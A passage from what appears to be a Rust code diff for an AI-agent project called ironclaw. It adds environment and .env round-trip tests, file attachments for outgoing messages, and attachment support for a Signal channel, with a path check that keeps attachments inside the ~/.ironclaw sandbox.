|
||||
let old_val = std::env::var("DATABASE_BACKEND").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("DATABASE_BACKEND") };
|
||||
|
||||
let dir = tempdir().unwrap();
|
||||
let db_path = dir.path().join("ironclaw.db");
|
||||
|
||||
// No DB file — auto-detect guard should not trigger.
|
||||
assert!(!db_path.exists());
|
||||
let would_trigger = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
||||
assert!(
|
||||
!would_trigger,
|
||||
"should not auto-detect when db file is absent"
|
||||
);
|
||||
|
||||
// Create the DB file — guard should now trigger.
|
||||
std::fs::write(&db_path, "").unwrap();
|
||||
assert!(db_path.exists());
|
||||
|
||||
// Simulate the detection logic (DATABASE_BACKEND unset + db exists).
|
||||
let detected = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
||||
assert!(
|
||||
detected,
|
||||
"should detect libsql when db file is present and backend unset"
|
||||
);
|
||||
|
||||
// Restore.
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
|
||||
}
|
||||
}
|
||||
|
||||
// === QA Plan P1 - 1.2: Bootstrap .env round-trip tests ===
|
||||
|
||||
#[test]
|
||||
fn bootstrap_env_round_trips_llm_backend() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
|
||||
// Simulate what the wizard writes for LLM backend selection
|
||||
let vars = [
|
||||
("DATABASE_BACKEND", "libsql"),
|
||||
("LLM_BACKEND", "openai"),
|
||||
("ONBOARD_COMPLETED", "true"),
|
||||
];
|
||||
let mut content = String::new();
|
||||
for (key, value) in &vars {
|
||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
||||
}
|
||||
std::fs::write(&env_path, &content).unwrap();
|
||||
|
||||
// Verify dotenvy parses LLM_BACKEND correctly
|
||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
||||
.unwrap()
|
||||
.filter_map(|r| r.ok())
|
||||
.collect();
|
||||
|
||||
let llm_backend = parsed.iter().find(|(k, _)| k == "LLM_BACKEND");
|
||||
assert!(llm_backend.is_some(), "LLM_BACKEND must be present");
|
||||
assert_eq!(
|
||||
llm_backend.unwrap().1,
|
||||
"openai",
|
||||
"LLM_BACKEND must survive .env round-trip"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_libsql_autodetect_does_not_override_explicit_backend() {
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("DATABASE_BACKEND").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("DATABASE_BACKEND", "postgres") };
|
||||
|
||||
let dir = tempdir().unwrap();
|
||||
let db_path = dir.path().join("ironclaw.db");
|
||||
std::fs::write(&db_path, "").unwrap();
|
||||
|
||||
// The guard: only sets libsql if DATABASE_BACKEND is NOT already set.
|
||||
let would_override = std::env::var("DATABASE_BACKEND").is_err() && db_path.exists();
|
||||
assert!(
|
||||
!would_override,
|
||||
"must not override an explicitly set DATABASE_BACKEND"
|
||||
);
|
||||
|
||||
// Restore.
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("DATABASE_BACKEND", val) };
|
||||
} else {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("DATABASE_BACKEND") };
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bootstrap_env_special_chars_in_url() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
|
||||
// URLs with special characters that are common in database passwords
|
||||
let url = "postgres://user:p%23ss@host:5432/db?sslmode=require";
|
||||
let escaped = url.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let content = format!("DATABASE_URL=\"{}\"\n", escaped);
|
||||
std::fs::write(&env_path, &content).unwrap();
|
||||
|
||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
||||
.unwrap()
|
||||
.filter_map(|r| r.ok())
|
||||
.collect();
|
||||
|
||||
assert_eq!(parsed.len(), 1);
|
||||
assert_eq!(parsed[0].1, url, "URL with special chars must survive");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn upsert_bootstrap_var_preserves_existing() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
|
||||
// Write initial content
|
||||
let initial = "DATABASE_BACKEND=\"libsql\"\nONBOARD_COMPLETED=\"true\"\n";
|
||||
std::fs::write(&env_path, initial).unwrap();
|
||||
|
||||
// Upsert a new var
|
||||
let content = std::fs::read_to_string(&env_path).unwrap();
|
||||
let new_line = "LLM_BACKEND=\"anthropic\"";
|
||||
let mut result = content.clone();
|
||||
result.push_str(new_line);
|
||||
result.push('\n');
|
||||
std::fs::write(&env_path, &result).unwrap();
|
||||
|
||||
// Parse and verify all three vars are present
|
||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
||||
.unwrap()
|
||||
.filter_map(|r| r.ok())
|
||||
.collect();
|
||||
|
||||
assert_eq!(parsed.len(), 3, "should have 3 vars after upsert");
|
||||
assert!(
|
||||
parsed
|
||||
.iter()
|
||||
.any(|(k, v)| k == "DATABASE_BACKEND" && v == "libsql"),
|
||||
"original DATABASE_BACKEND must be preserved"
|
||||
);
|
||||
assert!(
|
||||
parsed
|
||||
.iter()
|
||||
.any(|(k, v)| k == "ONBOARD_COMPLETED" && v == "true"),
|
||||
"original ONBOARD_COMPLETED must be preserved"
|
||||
);
|
||||
assert!(
|
||||
parsed
|
||||
.iter()
|
||||
.any(|(k, v)| k == "LLM_BACKEND" && v == "anthropic"),
|
||||
"new LLM_BACKEND must be present"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bootstrap_env_all_wizard_vars_round_trip() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
|
||||
// Full set of vars the wizard might write
|
||||
let vars = [
|
||||
("DATABASE_BACKEND", "postgres"),
|
||||
("DATABASE_URL", "postgres://u:p@h:5432/db"),
|
||||
("LLM_BACKEND", "nearai"),
|
||||
("ONBOARD_COMPLETED", "true"),
|
||||
("EMBEDDING_ENABLED", "false"),
|
||||
];
|
||||
let mut content = String::new();
|
||||
for (key, value) in &vars {
|
||||
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
content.push_str(&format!("{}=\"{}\"\n", key, escaped));
|
||||
}
|
||||
std::fs::write(&env_path, &content).unwrap();
|
||||
|
||||
let parsed: Vec<(String, String)> = dotenvy::from_path_iter(&env_path)
|
||||
.unwrap()
|
||||
.filter_map(|r| r.ok())
|
||||
.collect();
|
||||
|
||||
assert_eq!(parsed.len(), vars.len(), "all vars must survive round-trip");
|
||||
for (key, value) in &vars {
|
||||
let found = parsed.iter().find(|(k, _)| k == key);
|
||||
assert!(found.is_some(), "{key} must be present");
|
||||
assert_eq!(&found.unwrap().1, value, "{key} value mismatch");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_ironclaw_base_dir_default() {
|
||||
// This test must run first (or in isolation) before the LazyLock is initialized.
|
||||
// It verifies that when IRONCLAW_BASE_DIR is not set, the default path is used.
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
||||
|
||||
// Force re-evaluation by calling the computation function directly
|
||||
let path = compute_ironclaw_base_dir();
|
||||
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
|
||||
assert_eq!(path, home.join(".ironclaw"));
|
||||
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_ironclaw_base_dir_env_override() {
|
||||
// This test verifies that when IRONCLAW_BASE_DIR is set,
|
||||
// the custom path is used. Must run before LazyLock is initialized.
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/custom/ironclaw/path") };
|
||||
|
||||
// Force re-evaluation by calling the computation function directly
|
||||
let path = compute_ironclaw_base_dir();
|
||||
assert_eq!(path, std::path::PathBuf::from("/custom/ironclaw/path"));
|
||||
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
||||
} else {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_compute_base_dir_env_path_join() {
|
||||
// Verifies that ironclaw_env_path correctly joins .env to the base dir.
|
||||
// Uses compute_ironclaw_base_dir directly to avoid LazyLock caching.
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/my/custom/dir") };
|
||||
|
||||
// Test the path construction logic directly
|
||||
let base_path = compute_ironclaw_base_dir();
|
||||
let env_path = base_path.join(".env");
|
||||
assert_eq!(env_path, std::path::PathBuf::from("/my/custom/dir/.env"));
|
||||
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
||||
} else {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_ironclaw_base_dir_empty_env() {
|
||||
// Verifies that empty IRONCLAW_BASE_DIR falls back to default.
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "") };
|
||||
|
||||
// Force re-evaluation by calling the computation function directly
|
||||
let path = compute_ironclaw_base_dir();
|
||||
let home = dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("."));
|
||||
assert_eq!(path, home.join(".ironclaw"));
|
||||
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
||||
} else {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_ironclaw_base_dir_special_chars() {
|
||||
// Verifies that paths with special characters are handled correctly.
|
||||
let _guard = ENV_MUTEX.lock().unwrap();
|
||||
let old_val = std::env::var("IRONCLAW_BASE_DIR").ok();
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", "/tmp/test_with-special.chars") };
|
||||
|
||||
// Force re-evaluation by calling the computation function directly
|
||||
let path = compute_ironclaw_base_dir();
|
||||
assert_eq!(
|
||||
path,
|
||||
std::path::PathBuf::from("/tmp/test_with-special.chars")
|
||||
);
|
||||
|
||||
if let Some(val) = old_val {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::set_var("IRONCLAW_BASE_DIR", val) };
|
||||
} else {
|
||||
// SAFETY: ENV_MUTEX ensures single-threaded access to env vars in tests
|
||||
unsafe { std::env::remove_var("IRONCLAW_BASE_DIR") };
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
//! Channel trait and message types.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::pin::Pin;
|
||||
|
||||
use async_trait::async_trait;
|
||||
@@ -78,6 +79,8 @@ pub struct OutgoingResponse {
|
||||
pub content: String,
|
||||
/// Optional thread ID to reply in.
|
||||
pub thread_id: Option<String>,
|
||||
/// Optional file paths to attach.
|
||||
pub attachments: Vec<String>,
|
||||
/// Channel-specific metadata for the response.
|
||||
pub metadata: serde_json::Value,
|
||||
}
|
||||
@@ -88,6 +91,7 @@ impl OutgoingResponse {
|
||||
Self {
|
||||
content: content.into(),
|
||||
thread_id: None,
|
||||
attachments: Vec::new(),
|
||||
metadata: serde_json::Value::Null,
|
||||
}
|
||||
}
|
||||
@@ -97,6 +101,12 @@ impl OutgoingResponse {
|
||||
self.thread_id = Some(thread_id.into());
|
||||
self
|
||||
}
|
||||
|
||||
/// Add attachments to the response.
|
||||
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
|
||||
self.attachments = paths;
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
/// Status update types for showing agent activity.
|
||||
@@ -198,6 +208,16 @@ pub trait Channel: Send + Sync {
|
||||
/// Check if the channel is healthy.
|
||||
async fn health_check(&self) -> Result<(), ChannelError>;
|
||||
|
||||
/// Get conversation context from message metadata for system prompt.
|
||||
///
|
||||
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
|
||||
/// help the LLM understand who it's talking to.
|
||||
///
|
||||
/// Default implementation returns empty map.
|
||||
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
|
||||
HashMap::new()
|
||||
}
|
||||
|
||||
/// Gracefully shut down the channel.
|
||||
async fn shutdown(&self) -> Result<(), ChannelError> {
|
||||
Ok(())
|
||||
|
||||
+14
-3
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
|
||||
/// Includes an injection channel so background tasks (e.g., job monitors) can
|
||||
/// push messages into the agent loop without being a full `Channel` impl.
|
||||
pub struct ChannelManager {
|
||||
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>,
|
||||
channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
|
||||
inject_tx: mpsc::Sender<IncomingMessage>,
|
||||
/// Taken once in `start_all()` and merged into the stream.
|
||||
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
|
||||
@@ -42,7 +42,10 @@ impl ChannelManager {
|
||||
/// Add a channel to the manager.
|
||||
pub async fn add(&self, channel: Box<dyn Channel>) {
|
||||
let name = channel.name().to_string();
|
||||
self.channels.write().await.insert(name.clone(), channel);
|
||||
self.channels
|
||||
.write()
|
||||
.await
|
||||
.insert(name.clone(), Arc::from(channel));
|
||||
tracing::debug!("Added channel: {}", name);
|
||||
}
|
||||
|
||||
@@ -56,7 +59,10 @@ impl ChannelManager {
|
||||
let stream = channel.start().await?;
|
||||
|
||||
// Register for respond/broadcast/send_status
|
||||
self.channels.write().await.insert(name.clone(), channel);
|
||||
self.channels
|
||||
.write()
|
||||
.await
|
||||
.insert(name.clone(), Arc::from(channel));
|
||||
|
||||
// Forward stream messages through inject_tx
|
||||
let tx = self.inject_tx.clone();
|
||||
@@ -217,6 +223,11 @@ impl ChannelManager {
|
||||
pub async fn channel_names(&self) -> Vec<String> {
|
||||
self.channels.read().await.keys().cloned().collect()
|
||||
}
|
||||
|
||||
/// Get a channel by name.
|
||||
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
|
||||
self.channels.read().await.get(name).cloned()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for ChannelManager {
|
||||
|
||||
@@ -38,6 +38,7 @@ use tokio::sync::mpsc;
|
||||
use tokio_stream::wrappers::ReceiverStream;
|
||||
|
||||
use crate::agent::truncate_for_preview;
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
||||
use crate::error::ChannelError;
|
||||
|
||||
@@ -279,10 +280,7 @@ fn print_help() {
|
||||
|
||||
/// Get the history file path (~/.ironclaw/history).
|
||||
fn history_path() -> std::path::PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("history")
|
||||
ironclaw_base_dir().join("history")
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
|
||||
+328
-15
@@ -17,6 +17,7 @@ use serde::Deserialize;
|
||||
use tokio::sync::RwLock;
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
||||
use crate::config::SignalConfig;
|
||||
use crate::error::ChannelError;
|
||||
@@ -244,7 +245,7 @@ impl SignalChannel {
|
||||
.map_err(|e| ChannelError::Http(e.to_string()))?;
|
||||
|
||||
let target = Self::parse_recipient_target(recipient);
|
||||
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message));
|
||||
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message), None);
|
||||
|
||||
let url = format!("{}/api/v1/rpc", http_url);
|
||||
let id = Uuid::new_v4().to_string();
|
||||
@@ -504,6 +505,7 @@ impl SignalChannel {
|
||||
&self,
|
||||
target: &RecipientTarget,
|
||||
message: Option<&str>,
|
||||
attachments: Option<&[String]>,
|
||||
) -> serde_json::Value {
|
||||
match target {
|
||||
RecipientTarget::Direct(id) => {
|
||||
@@ -514,6 +516,16 @@ impl SignalChannel {
|
||||
if let Some(msg) = message {
|
||||
params["message"] = serde_json::Value::String(msg.to_string());
|
||||
}
|
||||
if let Some(attachments) = attachments
|
||||
&& !attachments.is_empty()
|
||||
{
|
||||
params["attachments"] = serde_json::Value::Array(
|
||||
attachments
|
||||
.iter()
|
||||
.map(|s| serde_json::Value::String(s.clone()))
|
||||
.collect(),
|
||||
);
|
||||
}
|
||||
params
|
||||
}
|
||||
RecipientTarget::Group(group_id) => {
|
||||
@@ -524,17 +536,76 @@ impl SignalChannel {
|
||||
if let Some(msg) = message {
|
||||
params["message"] = serde_json::Value::String(msg.to_string());
|
||||
}
|
||||
if let Some(attachments) = attachments
|
||||
&& !attachments.is_empty()
|
||||
{
|
||||
params["attachments"] = serde_json::Value::Array(
|
||||
attachments
|
||||
.iter()
|
||||
.map(|s| serde_json::Value::String(s.clone()))
|
||||
.collect(),
|
||||
);
|
||||
}
|
||||
params
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Validate that attachment paths are safe and within the sandbox.
|
||||
/// Uses the shared path validation logic from path_utils to ensure:
|
||||
/// - No path traversal attacks (../, URL-encoded, null bytes)
|
||||
/// - Paths are canonicalized and symlinks resolved
|
||||
/// - All paths are within ~/.ironclaw/ sandbox
|
||||
fn validate_attachment_paths(paths: &[String]) -> Result<(), ChannelError> {
|
||||
// Get the sandbox base directory (same as MessageTool uses)
|
||||
let base_dir = ironclaw_base_dir();
|
||||
|
||||
for path in paths {
|
||||
crate::tools::builtin::path_utils::validate_path(path, Some(&base_dir)).map_err(
|
||||
|e| {
|
||||
ChannelError::InvalidMessage(format!(
|
||||
"Attachment path must be within {}: {}",
|
||||
base_dir.display(),
|
||||
e
|
||||
))
|
||||
},
|
||||
)?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a message with attachments (if any).
|
||||
/// Combines text and attachments into a single RPC call when both are present.
|
||||
async fn send_with_attachments(
|
||||
&self,
|
||||
target: &RecipientTarget,
|
||||
content: &str,
|
||||
attachments: &[String],
|
||||
) -> Result<(), ChannelError> {
|
||||
Self::validate_attachment_paths(attachments)?;
|
||||
|
||||
if attachments.is_empty() {
|
||||
let params = self.build_rpc_params(target, Some(content), None);
|
||||
self.rpc_request("send", params).await?;
|
||||
} else if content.is_empty() {
|
||||
// Attachments only - send all in a single call with no message text
|
||||
let params = self.build_rpc_params(target, None, Some(attachments));
|
||||
self.rpc_request("send", params).await?;
|
||||
} else {
|
||||
// Both text and attachments - send in a single RPC call
|
||||
let params = self.build_rpc_params(target, Some(content), Some(attachments));
|
||||
self.rpc_request("send", params).await?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Build JSON-RPC params for a send/typing call (static version).
|
||||
fn build_rpc_params_static(
|
||||
_http_url: &str,
|
||||
account: &str,
|
||||
target: &RecipientTarget,
|
||||
message: Option<&str>,
|
||||
attachments: Option<&[String]>,
|
||||
) -> serde_json::Value {
|
||||
match target {
|
||||
RecipientTarget::Direct(id) => {
|
||||
@@ -545,6 +616,16 @@ impl SignalChannel {
|
||||
if let Some(msg) = message {
|
||||
params["message"] = serde_json::Value::String(msg.to_string());
|
||||
}
|
||||
if let Some(attachments) = attachments
|
||||
&& !attachments.is_empty()
|
||||
{
|
||||
params["attachments"] = serde_json::Value::Array(
|
||||
attachments
|
||||
.iter()
|
||||
.map(|s| serde_json::Value::String(s.clone()))
|
||||
.collect(),
|
||||
);
|
||||
}
|
||||
params
|
||||
}
|
||||
RecipientTarget::Group(group_id) => {
|
||||
@@ -555,6 +636,16 @@ impl SignalChannel {
|
||||
if let Some(msg) = message {
|
||||
params["message"] = serde_json::Value::String(msg.to_string());
|
||||
}
|
||||
if let Some(attachments) = attachments
|
||||
&& !attachments.is_empty()
|
||||
{
|
||||
params["attachments"] = serde_json::Value::Array(
|
||||
attachments
|
||||
.iter()
|
||||
.map(|s| serde_json::Value::String(s.clone()))
|
||||
.collect(),
|
||||
);
|
||||
}
|
||||
params
|
||||
}
|
||||
}
|
||||
@@ -706,8 +797,10 @@ impl SignalChannel {
|
||||
});
|
||||
|
||||
// Build metadata with signal-specific routing info.
|
||||
let sender_uuid = envelope.source_uuid.as_deref();
|
||||
let metadata = serde_json::json!({
|
||||
"signal_sender": &sender,
|
||||
"signal_sender_uuid": sender_uuid,
|
||||
"signal_target": &target,
|
||||
"signal_timestamp": timestamp,
|
||||
});
|
||||
@@ -790,13 +883,16 @@ impl Channel for SignalChannel {
|
||||
.unwrap_or_else(|| msg.user_id.clone());
|
||||
|
||||
let target = Self::parse_recipient_target(&target_str);
|
||||
let params = self.build_rpc_params(&target, Some(&response.content));
|
||||
self.rpc_request("send", params).await?;
|
||||
|
||||
// Clean up stored target.
|
||||
// Use shared helper for sending with attachments (includes validation)
|
||||
let result = self
|
||||
.send_with_attachments(&target, &response.content, &response.attachments)
|
||||
.await;
|
||||
|
||||
// Clean up stored target regardless of success or failure.
|
||||
self.reply_targets.write().await.pop(&msg.id);
|
||||
|
||||
Ok(())
|
||||
result
|
||||
}
|
||||
|
||||
async fn send_status(
|
||||
@@ -809,7 +905,7 @@ impl Channel for SignalChannel {
|
||||
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
|
||||
{
|
||||
let target = Self::parse_recipient_target(target_str);
|
||||
let params = self.build_rpc_params(&target, None);
|
||||
let params = self.build_rpc_params(&target, None, None);
|
||||
let _ = self.rpc_request("sendTyping", params).await;
|
||||
}
|
||||
|
||||
@@ -957,9 +1053,10 @@ impl Channel for SignalChannel {
|
||||
response: OutgoingResponse,
|
||||
) -> Result<(), ChannelError> {
|
||||
let target = Self::parse_recipient_target(user_id);
|
||||
let params = self.build_rpc_params(&target, Some(&response.content));
|
||||
self.rpc_request("send", params).await?;
|
||||
Ok(())
|
||||
|
||||
// Use shared helper for sending with attachments (includes validation)
|
||||
self.send_with_attachments(&target, &response.content, &response.attachments)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn health_check(&self) -> Result<(), ChannelError> {
|
||||
@@ -982,12 +1079,34 @@ impl Channel for SignalChannel {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fn conversation_context(
|
||||
&self,
|
||||
metadata: &serde_json::Value,
|
||||
) -> std::collections::HashMap<String, String> {
|
||||
use std::collections::HashMap;
|
||||
let mut ctx = HashMap::new();
|
||||
|
||||
if let Some(sender) = metadata.get("signal_sender").and_then(|v| v.as_str()) {
|
||||
ctx.insert("sender".to_string(), sender.to_string());
|
||||
}
|
||||
if let Some(sender_uuid) = metadata.get("signal_sender_uuid").and_then(|v| v.as_str()) {
|
||||
ctx.insert("sender_uuid".to_string(), sender_uuid.to_string());
|
||||
}
|
||||
if let Some(target) = metadata.get("signal_target").and_then(|v| v.as_str())
|
||||
&& target.starts_with("group:")
|
||||
{
|
||||
ctx.insert("group".to_string(), target.to_string());
|
||||
}
|
||||
|
||||
ctx
|
||||
}
|
||||
}
|
||||
|
||||
impl SignalChannel {
|
||||
async fn send_status_message(&self, target: &str, message: &str) {
|
||||
let target = Self::parse_recipient_target(target);
|
||||
let params = self.build_rpc_params(&target, Some(message));
|
||||
let params = self.build_rpc_params(&target, Some(message), None);
|
||||
if let Err(e) = self.rpc_request("send", params).await {
|
||||
tracing::warn!("Signal: failed to send status message: {}", e);
|
||||
}
|
||||
@@ -1187,6 +1306,7 @@ async fn sse_listener(
|
||||
let reply_params = channel.build_rpc_params(
|
||||
&SignalChannel::parse_recipient_target(&target),
|
||||
Some(response),
|
||||
None,
|
||||
);
|
||||
let _ = channel.rpc_request("send", reply_params).await;
|
||||
// Don't send the /debug command to the agent.
|
||||
@@ -1925,7 +2045,7 @@ mod tests {
|
||||
fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||
let params = ch.build_rpc_params(&target, Some("Hello!"));
|
||||
let params = ch.build_rpc_params(&target, Some("Hello!"), None);
|
||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
||||
assert_eq!(params["account"], "+1234567890");
|
||||
assert_eq!(params["message"], "Hello!");
|
||||
@@ -1938,7 +2058,7 @@ mod tests {
|
||||
fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||
let params = ch.build_rpc_params(&target, None);
|
||||
let params = ch.build_rpc_params(&target, None, None);
|
||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
||||
assert_eq!(params["account"], "+1234567890");
|
||||
// No message key should be present for typing indicators.
|
||||
@@ -1950,7 +2070,7 @@ mod tests {
|
||||
fn build_rpc_params_group_with_message() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Group("abc123".to_string());
|
||||
let params = ch.build_rpc_params(&target, Some("Group msg"));
|
||||
let params = ch.build_rpc_params(&target, Some("Group msg"), None);
|
||||
assert_eq!(params["groupId"], "abc123");
|
||||
assert_eq!(params["account"], "+1234567890");
|
||||
assert_eq!(params["message"], "Group msg");
|
||||
@@ -1963,7 +2083,7 @@ mod tests {
|
||||
fn build_rpc_params_group_without_message() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Group("abc123".to_string());
|
||||
let params = ch.build_rpc_params(&target, None);
|
||||
let params = ch.build_rpc_params(&target, None, None);
|
||||
assert_eq!(params["groupId"], "abc123");
|
||||
assert_eq!(params["account"], "+1234567890");
|
||||
assert!(params.get("message").is_none());
|
||||
@@ -1975,11 +2095,94 @@ mod tests {
|
||||
let ch = make_channel()?;
|
||||
let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
||||
let target = RecipientTarget::Direct(uuid.to_string());
|
||||
let params = ch.build_rpc_params(&target, Some("hi"));
|
||||
let params = ch.build_rpc_params(&target, Some("hi"), None);
|
||||
assert_eq!(params["recipient"], serde_json::json!([uuid]));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ── build_rpc_params with attachments tests ─────────────────────────
|
||||
|
||||
#[test]
|
||||
fn build_rpc_params_with_attachments() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||
let attachments = vec!["/path/to/image.png".to_string()];
|
||||
let params = ch.build_rpc_params(&target, Some("Check this!"), Some(&attachments));
|
||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
||||
assert_eq!(params["message"], "Check this!");
|
||||
assert_eq!(
|
||||
params["attachments"],
|
||||
serde_json::json!(["/path/to/image.png"])
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_rpc_params_with_multiple_attachments() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||
let attachments = vec![
|
||||
"/path/to/image.png".to_string(),
|
||||
"/path/to/document.pdf".to_string(),
|
||||
];
|
||||
let params = ch.build_rpc_params(&target, Some("Files attached"), Some(&attachments));
|
||||
assert_eq!(
|
||||
params["attachments"],
|
||||
serde_json::json!(["/path/to/image.png", "/path/to/document.pdf"])
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_rpc_params_with_attachments_no_message() -> Result<(), ChannelError> {
|
||||
let ch = make_channel()?;
|
||||
